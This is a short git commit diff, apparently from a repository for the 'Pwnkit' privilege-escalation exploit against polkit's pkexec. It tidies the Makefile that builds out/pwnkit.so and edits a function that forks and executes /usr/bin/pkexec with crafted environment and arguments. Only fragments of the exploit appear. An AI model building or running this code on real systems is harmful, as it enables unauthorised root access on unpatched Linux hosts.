clean up some things

master
Drake 2 years ago
parent bb122eff3c
commit e1df8a585c

@ -1,5 +1,3 @@
VERSION = "\"0.3.2\\n© Ruthenic, 2021\""
CC ?= gcc
target ?= $(shell ${CC} -dumpmachine)
CC_FLAGS ?=
@ -7,7 +5,7 @@ CC_FLAGS ?=
.PHONY: all debug
all:
@$(shell mkdir -p out)
gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC
${CC} -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC ${CC_FLAGS}
debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS}
debug: all

@ -55,13 +55,10 @@ void clean() {
rmdir("pwn");
}
void runAndClean(const char *env[], const char *arg[]) {
void runAndClean(char * const env[], char * const arg[]) {
int pid = fork();
if (pid == 0) {
int res = execve("/usr/bin/pkexec", arg, env);
/*if (res == -1) {
print("[Pwnkit] Failed to execute pkexec, or it returned an error; your system is most likely patched!");
}*/
execve("/usr/bin/pkexec", arg, env);
}
else {
int status;

Loading…
Cancel
Save